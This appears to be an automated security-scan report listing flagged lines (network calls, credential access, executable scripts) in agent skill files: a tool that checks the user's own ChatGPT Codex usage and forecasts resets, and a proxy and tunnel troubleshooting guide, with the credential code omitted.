    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]

tibo-reset-codex/scripts/launch-usage-profile.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

tibo-reset-codex/scripts/query_usage.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 24
    USAGE_URL = "https://chatgpt.com/backend-api/wham/usage"
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 152
    if expected_email and login_email and expected_email.casefold() != login_email.casefold():         raise UsageError("identity_mismatch: selected auth file is not the requested account")     request = urllib.request.Request(USAGE_URL, header
  • Network accessline 153
    [Credential-related source omitted]
  • Network accessline 154
    request = urllib.request.Request(USAGE_URL, headers={
  • Access to secretsline 155
    [Credential-related source omitted]
  • Access to secretsline 229
    [Credential-related source omitted]

tibo-reset-codex/scripts/read-usage-profile.cjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 26
    const PROFILE = process.env.TIBO_PROFILE || 'a'; const UDD = `${process.env.HOME}/.chrome-profiles/tibo-codex-${PROFILE}`; const PROXY = process.env.TIBO_PROXY || 'http://127.0.0.1:1082';
  • Network accessline 27
    const UDD = `${process.env.HOME}/.chrome-profiles/tibo-codex-${PROFILE}`; const PROXY = process.env.TIBO_PROXY || 'http://127.0.0.1:1082'; const USAGE = 'https://chatgpt.com/codex/settings/usage';
  • Network accessline 28
    const PROXY = process.env.TIBO_PROXY || 'http://127.0.0.1:1082';
  • Network accessline 29
    const USAGE = 'https://chatgpt.com/codex/settings/usage';
  • Network accessline 30
    const LOGIN = 'https://chatgpt.com/auth/login';
  • Network accessline 92
    let browser = null;   for (let i = 0; i < 4; i++) {     try { browser = await chromium.connectOverCDP(`http://127.0.0.1:${PORT}`, { timeout: 30000 }); break; }
  • Network accessline 93
    for (let i = 0; i < 4; i++) {     try { browser = await chromium.connectOverCDP(`http://127.0.0.1:${PORT}`, { timeout: 30000 }); break; }     catch (e) { console.log(`[cdp] 连接 attempt ${i + 1} 失败: ${e.message.split('\n')[0]},重试`); await sle
  • Network accessline 94
    try { browser = await chromium.connectOverCDP(`http://127.0.0.1:${PORT}`, { timeout: 30000 }); break; }
  • Network accessline 97
    if (!browser) { console.error('connectOverCDP 多次重试仍失败'); process.exit(3); }   const ctx = browser.contexts()[0];   let page = ctx.pages().find((p) => p.url().startsWith('https://chatgpt.com'));
  • Network accessline 98
    const ctx = browser.contexts()[0];   let page = ctx.pages().find((p) => p.url().startsWith('https://chatgpt.com'));   if (!page) page = await ctx.newPage();
  • Network accessline 99
    let page = ctx.pages().find((p) => p.url().startsWith('https://chatgpt.com'));

tibo-reset-codex/scripts/reset_attribution.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tibo-reset-codex/scripts/resolve-playwright.cjs

  • Executable scriptline 1
    Executable file

tibo-reset-codex/scripts/scan_rollouts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tibo-reset-codex/scripts/signal_readings.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tibo-reset-codex/scripts/verify-chatgpt-profile.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 29
    if (result.state === 'authenticated' && result.email?.toLowerCase() === opt['expected-email'].toLowerCase()) {       const reply = await cmd('Runtime.evaluate', {returnByValue: true, awaitPromise: true, expression: `(async () => {         i
  • Network accessline 30
    const reply = await cmd('Runtime.evaluate', {returnByValue: true, awaitPromise: true, expression: `(async () => {         if(location.origin !== 'https://chatgpt.com') return {status:null,identity_matches:false,window_count:0};         try 
  • Network accessline 31
    if(location.origin !== 'https://chatgpt.com') return {status:null,identity_matches:false,window_count:0};
  • Network accessline 34
    if(typeof token!=='string') return {status:null,identity_matches:false,window_count:0};           const claims=JSON.parse(atob(token.split('.')[1].replace(/-/g,'+').replace(/_/g,'/')));           const account=claims['https://api.openai.com
  • Network accessline 35
    const claims=JSON.parse(atob(token.split('.')[1].replace(/-/g,'+').replace(/_/g,'/')));           const account=claims['https://api.openai.com/auth']?.chatgpt_account_id;           if(!account) return {status:null,identity_matches:false,win
  • Possible obfuscationline 35
    const claims=JSON.parse(atob(token.split('.')[1].replace(/-/g,'+').replace(/_/g,'/')));
  • Network accessline 36
    const account=claims['https://api.openai.com/auth']?.chatgpt_account_id;           if(!account) return {status:null,identity_matches:false,window_count:0};           const response=await fetch('/backend-api/wham/usage',{credentials:'include
  • Network accessline 37
    [Credential-related source omitted]
  • Network accessline 38
    [Credential-related source omitted]

tibo-reset-codex/tests/fixtures/forecast_log_v119.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 504
    [Credential-related source omitted]

tibo-reset-codex/tests/fixtures/forecast_log_v240.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 810
    [Credential-related source omitted]

tibo-reset-codex/tests/test_account_followup.py

  • Executable scriptline 1
    Executable file

tibo-reset-codex/tests/test_cookie_copy_handoff.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 22
    [Credential-related source omitted]

tibo-reset-codex/tests/test_event_followup.py

  • Executable scriptline 1
    Executable file
  • Network accessline 26
    self.path = Path(self.folder.name) / "forecasts.jsonl"         self.now = datetime(2026, 10, 2, 16, tzinfo=timezone.utc)         self.url = "https://example.invalid/official/announcement"
  • Network accessline 27
    self.now = datetime(2026, 10, 2, 16, tzinfo=timezone.utc)         self.url = "https://example.invalid/official/announcement"         self.announcement = {
  • Network accessline 28
    self.url = "https://example.invalid/official/announcement"
  • Network accessline 53
    "event_start": "2026-10-02T21:18:48Z", "event_end": "2026-10-02T21:18:48Z",             "time_basis": "confirmation_only", "first_event_verified": False,             "evidence_urls": ["https://example.invalid/official/completion"],
  • Network accessline 54
    "time_basis": "confirmation_only", "first_event_verified": False,             "evidence_urls": ["https://example.invalid/official/completion"],             "reason": "Official completion, not an observed occurrence timestamp.",
  • Network accessline 55
    "evidence_urls": ["https://example.invalid/official/completion"],
  • Network accessline 200
    r = self.review(a, unknown=True, account_status="unknown", account_ref="1234abcd",                         account_checked_at="2026-10-02T23:00:00Z")         self.assertEqual(r["evidence_urls"], ["https://example.invalid/official/completion
  • Network accessline 201
    account_checked_at="2026-10-02T23:00:00Z")         self.assertEqual(r["evidence_urls"], ["https://example.invalid/official/completion"])         persisted = [json.loads(line) for line in self.path.read_text().splitlines()]
  • Network accessline 202
    self.assertEqual(r["evidence_urls"], ["https://example.invalid/official/completion"])

tibo-reset-codex/tests/test_forecast_log.py

  • Executable scriptline 1
    Executable file
  • Network accessline 47
    "window_start": "2026-10-12T08:00:00+08:00",             "window_end": "2026-10-14T08:00:00+08:00",             "anchor_event_url": "https://example.invalid/reset/1",
  • Network accessline 48
    "window_end": "2026-10-14T08:00:00+08:00",             "anchor_event_url": "https://example.invalid/reset/1",             "evidence_urls": ["https://example.invalid/history"],
  • Network accessline 49
    "anchor_event_url": "https://example.invalid/reset/1",
  • Network accessline 50
    "evidence_urls": ["https://example.invalid/history"],
  • Network accessline 61
    "event_start": "2026-10-13T00:00:00Z", "event_end": "2026-10-13T00:00:00Z",                 "time_basis": "occurrence", "first_event_verified": True,                 "evidence_urls": ["https://example.invalid/reset/2"],
  • Network accessline 62
    "time_basis": "occurrence", "first_event_verified": True,                 "evidence_urls": ["https://example.invalid/reset/2"],                 "reason": "Synthetic evidence identifies the first matching event.",
  • Network accessline 63
    "evidence_urls": ["https://example.invalid/reset/2"],
  • Network accessline 75
    def finding(self, **changes):         data = {"invocation": "announcement", "query": "What did Tibo announce today?",                 "endpoints": ["https://example.invalid/timeline"],
  • Network accessline 76
    data = {"invocation": "announcement", "query": "What did Tibo announce today?",                 "endpoints": ["https://example.invalid/timeline"],                 "readings": {"radar": {"announced_at": "2026-10-09T18:00:00Z"}}}
  • Network accessline 77
    "endpoints": ["https://example.invalid/timeline"],
  • Network accessline 359
    "confidence": "low", "window_start": "2026-10-12T00:00:00+00:00",                         "window_end": "2026-10-14T00:00:00+00:00", "anchor_event_url": None,                         "evidence_urls": ["https://example.invalid/e"],
  • Network accessline 360
    "window_end": "2026-10-14T00:00:00+00:00", "anchor_event_url": None,                         "evidence_urls": ["https://example.invalid/e"],                         "rationale": "r", "revision_trigger": "t", "feedback_applied": "f",
  • Network accessline 361
    "evidence_urls": ["https://example.invalid/e"],
  • Network accessline 476
    def test_invalid_finding_shapes_are_rejected(self):         for changes in ({"invocation": ""}, {"invocation": None}, {"query": "   "},                         {"endpoints": "https://example.invalid"},
  • Network accessline 477
    for changes in ({"invocation": ""}, {"invocation": None}, {"query": "   "},                         {"endpoints": "https://example.invalid"},                         {"endpoints": ["https://ok", 7]},
  • Network accessline 478
    {"endpoints": "https://example.invalid"},
  • Network accessline 479
    {"endpoints": ["https://ok", 7]},
  • Access to secretsline 548
    [Credential-related source omitted]
  • Access to secretsline 565
    [Credential-related source omitted]
  • Network accessline 732
    def test_compact_projection_omits_only_narrative_and_preserves_decision_leaves(self):         pending = self.record(anchor_event_url="https://example.invalid/pending")
  • Network accessline 733
    pending = self.record(anchor_event_url="https://example.invalid/pending")
  • Network accessline 735
    account_ref="1234abcd",                     account_checked_at=(self.now + timedelta(days=5)).isoformat())         resolved = self.record(anchor_event_url="https://example.invalid/resolved")
  • Network accessline 736
    account_checked_at=(self.now + timedelta(days=5)).isoformat())         resolved = self.record(anchor_event_url="https://example.invalid/resolved")         self.review(resolved["id"])
  • Network accessline 737
    resolved = self.record(anchor_event_url="https://example.invalid/resolved")
  • Network accessline 740
    "kind": "global_reset", "announced_at": self.now.isoformat(),             "eta_at": (self.now + timedelta(hours=2)).isoformat(),             "source_url": "https://example.invalid/announcement",
  • Network accessline 741
    "eta_at": (self.now + timedelta(hours=2)).isoformat(),             "source_url": "https://example.invalid/announcement",             "source_text": "Synthetic announcement text.",
  • Network accessline 742
    "source_url": "https://example.invalid/announcement",
  • Network accessline 744
    "interpretation": "Synthetic interpretation.",             "revision_trigger": "Read the completion post.",             "evidence_urls": ["https://example.invalid/announcement"],
  • Network accessline 745
    "revision_trigger": "Read the completion post.",             "evidence_urls": ["https://example.invalid/announcement"],             "anchor_event_url": None}, self.now)
  • Network accessline 746
    "evidence_urls": ["https://example.invalid/announcement"],
  • Network accessline 748
    self.review(announced["id"], time_basis="confirmation_only",                     first_event_verified=False)         withdrawn = self.record(anchor_event_url="https://example.invalid/withdrawn")
  • Network accessline 749
    first_event_verified=False)         withdrawn = self.record(anchor_event_url="https://example.invalid/withdrawn")         withdrawal = self.withdraw(withdrawn["id"])
  • Network accessline 750
    withdrawn = self.record(anchor_event_url="https://example.invalid/withdrawn")

tibo-reset-codex/tests/test_monitor_workflow.py

  • Executable scriptline 1
    Executable file
  • Network accessline 135
    forecast = {"kind": "global_reset", "confidence": "low",                     "window_start": "2026-01-01T00:00:00Z", "window_end": "2026-01-02T00:00:00Z",                     "evidence_urls": ["https://example.invalid/" + "e" * 10000],
  • Network accessline 136
    "window_start": "2026-01-01T00:00:00Z", "window_end": "2026-01-02T00:00:00Z",                     "evidence_urls": ["https://example.invalid/" + "e" * 10000],                     "rationale": "r" * 10000, "feedback_applied": "f" * 10000,
  • Network accessline 137
    "evidence_urls": ["https://example.invalid/" + "e" * 10000],
  • Network accessline 140
    for index in range(19):             log.append_record(self.state / "forecasts.jsonl", "record", {**forecast,                 "anchor_event_url": f"https://example.invalid/{index}"},
  • Network accessline 141
    log.append_record(self.state / "forecasts.jsonl", "record", {**forecast,                 "anchor_event_url": f"https://example.invalid/{index}"},                 datetime(2025, 12, 1, tzinfo=timezone.utc))
  • Network accessline 142
    "anchor_event_url": f"https://example.invalid/{index}"},
  • Network accessline 174
    "window_start": "2026-01-01T00:00:00Z", "window_end": "2026-01-02T00:00:00Z",             "rationale": "Synthetic rationale", "feedback_applied": "Synthetic prior feedback",             "revision_trigger": "New official evidence", "evidence
  • Network accessline 175
    "rationale": "Synthetic rationale", "feedback_applied": "Synthetic prior feedback",             "revision_trigger": "New official evidence", "evidence_urls": ["https://example.invalid/forecast"]},             datetime(2025, 12, 1, tzinfo=ti
  • Network accessline 176
    "revision_trigger": "New official evidence", "evidence_urls": ["https://example.invalid/forecast"]},
  • Network accessline 179
    "event_start": "2026-01-01T12:00:00Z", "event_end": "2026-01-01T12:00:00Z",             "time_basis": "occurrence", "first_event_verified": True,             "evidence_urls": ["https://example.invalid/event"], "reason": "Complete synthetic 
  • Network accessline 180
    "time_basis": "occurrence", "first_event_verified": True,             "evidence_urls": ["https://example.invalid/event"], "reason": "Complete synthetic reason",             "lesson": "Keep the direct observation separate from its cause."},
  • Network accessline 181
    "evidence_urls": ["https://example.invalid/event"], "reason": "Complete synthetic reason",
  • Access to secretsline 210
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]

tibo-reset-codex/tests/test_profile_verification.mjs

  • Executable scriptline 1
    Executable file

tibo-reset-codex/tests/test_query_usage.py

  • Executable scriptline 1
    Executable file
  • Network accessline 119
    def test_redirects_are_refused(self):         request = urllib.request.Request(usage.USAGE_URL)
  • Network accessline 120
    request = urllib.request.Request(usage.USAGE_URL)
  • Network accessline 122
    usage.NoRedirect().redirect_request(request, None, 302, "", {}, "https://example.com")
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]

tibo-reset-codex/tests/test_reset_attribution.py

  • Executable scriptline 1
    Executable file
  • Network accessline 76
    "status": "ok",         "checked_at_utc": "2026-10-17T13:32:00+00:00",         "source": "https://chatgpt.com/backend-api/wham/usage",
  • Network accessline 77
    "checked_at_utc": "2026-10-17T13:32:00+00:00",         "source": "https://chatgpt.com/backend-api/wham/usage",         "email": "redacted@example.invalid",
  • Network accessline 78
    "source": "https://chatgpt.com/backend-api/wham/usage",
  • Network accessline 749
    {"type": "tool_use", "name": "Bash", "id": "usage", "input": {"command": "uv run python scripts/query_usage.py"}},                 {"type": "tool_use", "name": "WebFetch", "id": "post", "input": {                     "url": "https://didcode
  • Network accessline 750
    {"type": "tool_use", "name": "WebFetch", "id": "post", "input": {                     "url": "https://didcodexreset.com/api/status.json?upstream=https://x.com/thsottiaux/status/123"}},             ]}},
  • Network accessline 751
    "url": "https://didcodexreset.com/api/status.json?upstream=https://x.com/thsottiaux/status/123"}},
  • Network accessline 852
    def test_official_transcript_requires_official_source_and_completion_wording(self):         cases = [             ("https://api.fxtwitter.com/thsottiaux/status/123",
  • Network accessline 853
    cases = [             ("https://api.fxtwitter.com/thsottiaux/status/123",              "We have now reset usage for all paid subscriptions", "official_global_reset", "allow"),
  • Network accessline 854
    ("https://api.fxtwitter.com/thsottiaux/status/123",
  • Network accessline 855
    "We have now reset usage for all paid subscriptions", "official_global_reset", "allow"),             ("https://didcodexreset.com/api/status.json",              "We have now reset usage for all paid subscriptions", "unknown", "block"),
  • Network accessline 856
    ("https://didcodexreset.com/api/status.json",
  • Network accessline 857
    "We have now reset usage for all paid subscriptions", "unknown", "block"),             ("https://api.fxtwitter.com/thsottiaux/status/123",              "Global reset by EOD", "unknown", "block"),
  • Network accessline 858
    ("https://api.fxtwitter.com/thsottiaux/status/123",

tibo-reset-codex/tests/test_resolve_playwright.mjs

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    assert.equal(failed.unavailable, true);   assert.equal(failed.loggedOut, false);   const loggedOut = parseUsage('Log in or sign up', 'https://chatgpt.com/');
  • Network accessline 28
    assert.equal(failed.loggedOut, false);   const loggedOut = parseUsage('Log in or sign up', 'https://chatgpt.com/');   assert.equal(loggedOut.unavailable, false);
  • Network accessline 29
    const loggedOut = parseUsage('Log in or sign up', 'https://chatgpt.com/');
  • Network accessline 42
    goto: async () => { throw new Error('Timeout 20000ms exceeded'); },       innerText: async () => retainedText,       url: () => 'https://chatgpt.com/',
  • Network accessline 43
    innerText: async () => retainedText,       url: () => 'https://chatgpt.com/',     };
  • Network accessline 44
    url: () => 'https://chatgpt.com/',
  • Network accessline 56
    goto: async () => {},     innerText: async () => text,     url: () => 'https://chatgpt.com/codex/settings/usage',
  • Network accessline 57
    innerText: async () => text,     url: () => 'https://chatgpt.com/codex/settings/usage',   };
  • Network accessline 58
    url: () => 'https://chatgpt.com/codex/settings/usage',

tibo-reset-codex/tests/test_runtime_readings.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 113
    [Credential-related source omitted]
  • Network accessline 183
    def radar(self, **changes):         return {"events": [{"id": "123", "url": "https://x.com/example/status/123",
  • Network accessline 184
    return {"events": [{"id": "123", "url": "https://x.com/example/status/123",

tibo-reset-codex/tests/test_scan_rollouts.py

  • Executable scriptline 1
    Executable file

tunnel-doctor/SKILL.md

  • Broad permissionsline 1
    Read, Grep, Edit, Bash
  • Network accessline 4
    MUST be used first for tunnel / proxy-path connectivity failures or slow throughput (网络故障 / 连不上 /   代理或隧道下超时). Diagnoses Tailscale, proxy, TUN, DNS and SSH-tunnel problems on macOS and Windows/WSL,   e.g. Tailscale ping works but SSH fails,
  • Network accessline 5
    代理或隧道下超时). Diagnoses Tailscale, proxy, TUN, DNS and SSH-tunnel problems on macOS and Windows/WSL,   e.g. Tailscale ping works but SSH fails, curl works but browser gets 503, Git/Docker fails behind   the proxy, or downloads crawl despite a 
  • Network accessline 6
    e.g. Tailscale ping works but SSH fails, curl works but browser gets 503, Git/Docker fails behind
  • Network accessline 95
    - **Tailscale IPv4 SSH times out, or an alternate peer address triggers host-key verification** → Read [same-peer IPv4/IPv6 SSH recovery](references/tailscale_address_family_ssh.md) before declaring the host offline or changing trust/networ
  • Network accessline 96
    - **Remote dev server auth redirects to `localhost` → browser can't follow** → SSH tunnel needed (Step 2D) - **`make status` / scripts curl to localhost fail with proxy** → localhost proxy interception (Step 2E) - **`git push/pull` fails wi
  • Network accessline 97
    - **`make status` / scripts curl to localhost fail with proxy** → localhost proxy interception (Step 2E)
  • Network accessline 108
    - **SSH connects but `operation not permitted`** → Tailscale SSH config issue (Step 4) - **SSH connects but `be-child ssh` exits code 1** → WSL snap sandbox issue (Step 5) - **TCP port 22 reachable (`nc -z` succeeds) but SSH fails with `kex
  • Network accessline 109
    - **SSH connects but `be-child ssh` exits code 1** → WSL snap sandbox issue (Step 5) - **TCP port 22 reachable (`nc -z` succeeds) but SSH fails with `kex_exchange_identification: Connection closed`** → Tailscale SSH proxy intercept on WSL (
  • Network accessline 110
    - **TCP port 22 reachable (`nc -z` succeeds) but SSH fails with `kex_exchange_identification: Connection closed`** → Tailscale SSH proxy intercept on WSL (Step 5A)
  • Network accessline 123
    - If `tailscale ping` works but regular `ping` doesn't → Layer 1 (route table corrupted). - If `ssh -T git@github.com` works but `git push` fails intermittently → Layer 4 (double tunnel). - If host `curl https://...` works but `docker pull`
  • Network accessline 124
    - If `ssh -T git@github.com` works but `git push` fails intermittently → Layer 4 (double tunnel). - If host `curl https://...` works but `docker pull` times out → Layer 5 (VM proxy propagation). - If `docker pull` works but `docker build` `
  • Network accessline 125
    - If host `curl https://...` works but `docker pull` times out → Layer 5 (VM proxy propagation).
  • Network accessline 127
    - If container healthcheck shows `(unhealthy)` but app works → lowercase `http_proxy` leaked into container (Step 2G-4). - If DNS resolves to `198.18.x.x` virtual IPs → a TUN is active, which is **not** by itself a diagnosis: under TUN ever
  • Network accessline 128
    - If DNS resolves to `198.18.x.x` virtual IPs → a TUN is active, which is **not** by itself a diagnosis: under TUN every hostname resolves this way, on success as well as failure. Go to Step 2H to find out which mechanism you have. - If fak
  • Network accessline 129
    - If fake-IP connections fail but a fresh-IP `curl --resolve` succeeds, hostname-dependent resolution/forwarding is a suspect, not a proven cause. Use Step 2J for the multi-domain DIRECT failure pattern; for one recently moved domain, use [
  • Network accessline 130
    - If `nc -z` succeeds on port 22 but SSH gets no banner (`kex_exchange_identification`) → Tailscale SSH proxy intercept (Step 5A). Confirm with `tcpdump -i any port 22` on the remote — 0 packets means Tailscale intercepts above the kernel.
  • Network accessline 131
    - If `nc -z` also succeeds on a port the destination does **not** serve (probe 65001) → under a TUN the local stack answers for the destination, so **no `nc -z` result on that host means anything**. Never read a port probe you have not cali
  • Network accessline 143
    | Suspected component | Authoritative health check (run this first) | |---------------------|---------------------------------------------| | HTTP proxy (Shadowrocket / Clash / Surge) | `curl -x http://127.0.0.1:<port> -m 10 https://api.git
  • Network accessline 144
    |---------------------|---------------------------------------------| | HTTP proxy (Shadowrocket / Clash / Surge) | `curl -x http://127.0.0.1:<port> -m 10 https://api.github.com` returns 200 | | Tailscale daemon | `tailscale status` returns
  • Network accessline 145
    | HTTP proxy (Shadowrocket / Clash / Surge) | `curl -x http://127.0.0.1:<port> -m 10 https://api.github.com` returns 200 |
  • Network accessline 165
    | Probe | What it looks like | What it actually is under TUN | Trust? | |-------|-------------------|-------------------------------|--------| | `nc -z <node-ip> <port>` / raw TCP connect showing `0.00s` | "node reachable, instant" | TUN co
  • Network accessline 166
    |-------|-------------------|-------------------------------|--------| | `nc -z <node-ip> <port>` / raw TCP connect showing `0.00s` | "node reachable, instant" | TUN completes the TCP handshake **locally** before tunneling. `0.00s` to an ov
  • Network accessline 167
    | `nc -z <node-ip> <port>` / raw TCP connect showing `0.00s` | "node reachable, instant" | TUN completes the TCP handshake **locally** before tunneling. `0.00s` to an overseas host is physically impossible (light alone is tens of ms each wa
  • Network accessline 168
    | `ping <host>` with near-zero loss / sub-ms RTT | "link healthy" | TUN can answer ICMP locally; loss and RTT are fabricated and uncorrelated with TCP. (Separately: ICMP ≠ TCP even with no TUN.) | ❌ | | `curl … -w '%{remote_ip}'` | "connect
  • Network accessline 169
    | `curl … -w '%{remote_ip}'` | "connected to peer X" | Always the local TUN endpoint (`127.0.0.1` / loopback), never the real remote peer. | ❌ |
  • Network accessline 172
    | A DIRECT-rule / domestic domain succeeding through your proxy config, cited as evidence the tunnel/exit node is alive | "the proxy has at least one working path, so the tunnel is probably fine" | DIRECT-matched traffic never enters the tu
  • Network accessline 174
    | `curl ifconfig.me` / ipify exit IP used to name *which node* is active | "exit IP 1.2.3.4 means we're on node X" | The exit IP belongs to the *exit*, not the entry node: residential-IP products exit from ISP addresses that share nothing w
  • Network accessline 186
    The contamination table has a systemic limit: every probe that goes *through* the TUN shares one fate. That includes "real-IP" probes (`dig @<resolver>` + `curl --resolve`) — the TUN intercepts UDP/53 too. When the TUN's forwarder stalls co
  • Network accessline 188
    The discriminator is a probe that **bypasses the TUN entirely** — bind the physical interface (curl `--interface` = `IP_BOUND_IF`, scoped routes take the packet straight out the physical NIC):
  • Network accessline 200
    #    DNSPod 80 → 404). Targets rot: 114.114.114.114 and 180.76.76.76 returned #    000 on a healthy wire that same day — re-verify a target before trusting it. for u in "https://223.5.5.5/" "http://119.29.29.29/"; do
  • Network accessline 201
    #    000 on a healthy wire that same day — re-verify a target before trusting it. for u in "https://223.5.5.5/" "http://119.29.29.29/"; do   curl -s --noproxy '*' --interface en0 -k --connect-timeout 3 --max-time 6 \
  • Network accessline 202
    for u in "https://223.5.5.5/" "http://119.29.29.29/"; do   curl -s --noproxy '*' --interface en0 -k --connect-timeout 3 --max-time 6 \     -o /dev/null -w "$u: %{http_code}\n" "$u"
  • Network accessline 203
    curl -s --noproxy '*' --interface en0 -k --connect-timeout 3 --max-time 6 \
  • Network accessline 218
    python3 scripts/quick_diagnose.py --host local.example.com --url https://local.example.com/health
  • Network accessline 230
    - `direct=FAIL` does not support a bypass recommendation. A non-`000` HTTP response (including 403) proves a response arrived, not that the application accepted the request. - `strict_tls=FAIL` + `direct=PASS` = path is reachable; trust iss
  • Network accessline 232
    - `host in scutil exceptions: no` is context, not a fault by itself. The script's `direct` probe bypasses curl proxies but may still traverse a system TUN; it does not prove an independent physical path.
  • Network accessline 244
    http_proxy=http://127.0.0.1:1082
  • Network accessline 245
    https_proxy=http://127.0.0.1:1082
  • Network accessline 265
    **Go `net/http` CIDR caveat**: Go's standard `net/http` does NOT support CIDR notation in `NO_PROXY`. Setting `NO_PROXY=100.64.0.0/10` works for curl and Python, but Go programs (including Tailscale-adjacent tooling) will still send traffic
  • Network accessline 268
    # WRONG for Go programs — CIDR is silently ignored NO_PROXY=100.64.0.0/10 go-program http://100.101.102.103:8002/health  # → goes through proxy
  • Network accessline 269
    NO_PROXY=100.64.0.0/10 go-program http://100.101.102.103:8002/health  # → goes through proxy
  • Network accessline 280
    # Both must return HTTP 200: NO_PROXY="...(new value)..." curl -s --connect-timeout 5 http://<host>.ts.net:<port>/health -w "HTTP %{http_code}\n"
  • Network accessline 281
    NO_PROXY="...(new value)..." curl -s --connect-timeout 5 http://<host>.ts.net:<port>/health -w "HTTP %{http_code}\n"
  • Network accessline 282
    NO_PROXY="...(new value)..." curl -s --connect-timeout 5 http://<tailscale-ip>:<port>/health -w "HTTP %{http_code}\n"
  • Network accessline 337
    **Symptom**: Browser shows HTTP 503 for `http://<tailscale-ip>:<port>`, but both `curl --noproxy '*'` and `curl` (with proxy env var) return 200. SSH also works.
  • Network accessline 344
    # curl with proxy env var works (curl connects to proxy port, but traffic flows differently)
  • Network accessline 345
    curl -s -o /dev/null -w "%{http_code}" http://<tailscale-ip>:<port>/
  • Network accessline 366
    **Symptom**: `https://local.<domain>` fails in browser or default `curl`, but succeeds with direct/no-proxy command:
  • Network accessline 369
    env -u http_proxy -u https_proxy curl -k -I https://local.<domain>/health
  • Network accessline 370
    # -> 200 curl -I https://local.<domain>/health # -> proxy CONNECT then TLS reset/failure
  • Network accessline 371
    curl -I https://local.<domain>/health
  • Network accessline 391
    python3 scripts/quick_diagnose.py --host local.<domain> --url https://local.<domain>/health
  • Network accessline 401
    **Symptom**: Dev server runs on a remote machine (e.g., Mac Mini via Tailscale). You access `http://<tailscale-ip>:3010` in the browser. Login/signup works, but after auth, the app redirects to `http://localhost:3010/` which fails — `localh
  • Network accessline 403
    **Root cause**: The app's `APP_URL` (or equivalent) is set to `http://localhost:3010`. Auth libraries (Better-Auth, NextAuth, etc.) use this URL for callback redirects. Changing `APP_URL` to the Tailscale IP introduces Shadowrocket proxy co
  • Network accessline 419
    Now access `http://localhost:3010` in the browser. Auth redirects to `localhost:3010` → tunnel → remote dev server → works correctly.
  • Network accessline 421
    **Why this is the best approach**: - No `.env` changes needed — `APP_URL=http://localhost:3010` works everywhere
  • Network accessline 422
    - No `.env` changes needed — `APP_URL=http://localhost:3010` works everywhere
  • Network accessline 435
    **Root cause**: `http_proxy=http://127.0.0.1:1082` is set in `~/.zshrc` but `no_proxy` doesn't include `localhost`. All curl commands send localhost requests through the proxy.
  • Network accessline 437
    **Fix** — add `--noproxy localhost` to all localhost curl commands in scripts:
  • Network accessline 440
    # WRONG — fails when http_proxy is set @curl -sf http://localhost:9000/minio/health/live && echo "OK"
  • Network accessline 441
    @curl -sf http://localhost:9000/minio/health/live && echo "OK"
  • Network accessline 443
    # CORRECT — always bypasses proxy for localhost @curl --noproxy localhost -sf http://localhost:9000/minio/health/live && echo "OK"
  • Network accessline 444
    @curl --noproxy localhost -sf http://localhost:9000/minio/health/live && echo "OK"
  • Access to secretsline 473
    [Credential-related source omitted]
  • Network accessline 533
    # Verify: inside the container, HTTPS goes to 127.0.0.1 (broken transparent proxy) docker run --rm alpine:latest sh -c "wget -q --timeout=5 -O /dev/null https://dl-cdn.alpinelinux.org/ 2>&1"
  • Network accessline 534
    docker run --rm alpine:latest sh -c "wget -q --timeout=5 -O /dev/null https://dl-cdn.alpinelinux.org/ 2>&1"
  • Network accessline 588
    config = {     'proxies': {         'http-proxy': 'http://host.internal:1082',
  • Network accessline 589
    'proxies': {         'http-proxy': 'http://host.internal:1082',         'https-proxy': 'http://host.internal:1082',
  • Network accessline 590
    'http-proxy': 'http://host.internal:1082',
  • Network accessline 591
    'https-proxy': 'http://host.internal:1082',
  • Network accessline 617
    **Decision tree**: - `docker pull` broken → Fix `docker.json` with `host.internal` proxy (2G-2) - `docker build` broken → Use `--network host` (2G-1) OR pass `--build-arg http_proxy=http://host.internal:1082`
  • Network accessline 618
    - `docker pull` broken → Fix `docker.json` with `host.internal` proxy (2G-2) - `docker build` broken → Use `--network host` (2G-1) OR pass `--build-arg http_proxy=http://host.internal:1082` - Both broken → Fix both: `docker.json` + `--netwo
  • Network accessline 619
    - `docker build` broken → Use `--network host` (2G-1) OR pass `--build-arg http_proxy=http://host.internal:1082`
  • Network accessline 624
    Deploy scripts that `curl localhost` inside containers or Docker healthchecks that use `wget http://localhost` will route through the proxy if env vars leak into the container.
  • Network accessline 630
    **Root cause**: Docker inherits uppercase AND lowercase proxy env vars from the host. Many tools only clear uppercase (`HTTP_PROXY=`) but forget lowercase (`http_proxy=http://127.0.0.1:1082`). The healthcheck `wget` uses lowercase.
  • Network accessline 635
    environment:   # Must clear both uppercase and lowercase — wget/curl check different vars
  • Network accessline 636
    # Must clear both uppercase and lowercase — wget/curl check different vars
  • Network accessline 652
    # Use 127.0.0.1 instead of localhost in probe URLs (some proxy implementations # only match exact string "localhost" in no-proxy, not the resolved IP) curl http://127.0.0.1:3001/health   # ✅ bypasses proxy
  • Network accessline 653
    # only match exact string "localhost" in no-proxy, not the resolved IP) curl http://127.0.0.1:3001/health   # ✅ bypasses proxy curl http://localhost:3001/health    # ❌ may still go through proxy
  • Network accessline 654
    curl http://127.0.0.1:3001/health   # ✅ bypasses proxy
  • Network accessline 655
    curl http://localhost:3001/health    # ❌ may still go through proxy
  • Network accessline 693
    # Same proxy, plain HTTPS, unrelated destination — does it also fail? for i in $(seq 1 40); do   curl -s -o /dev/null -x http://127.0.0.1:<proxy-port> \
  • Network accessline 694
    for i in $(seq 1 40); do   curl -s -o /dev/null -x http://127.0.0.1:<proxy-port> \        -w '%{http_code}\n' -m 10 https://www.google.com/generate_204
  • Network accessline 695
    curl -s -o /dev/null -x http://127.0.0.1:<proxy-port> \
  • Network accessline 696
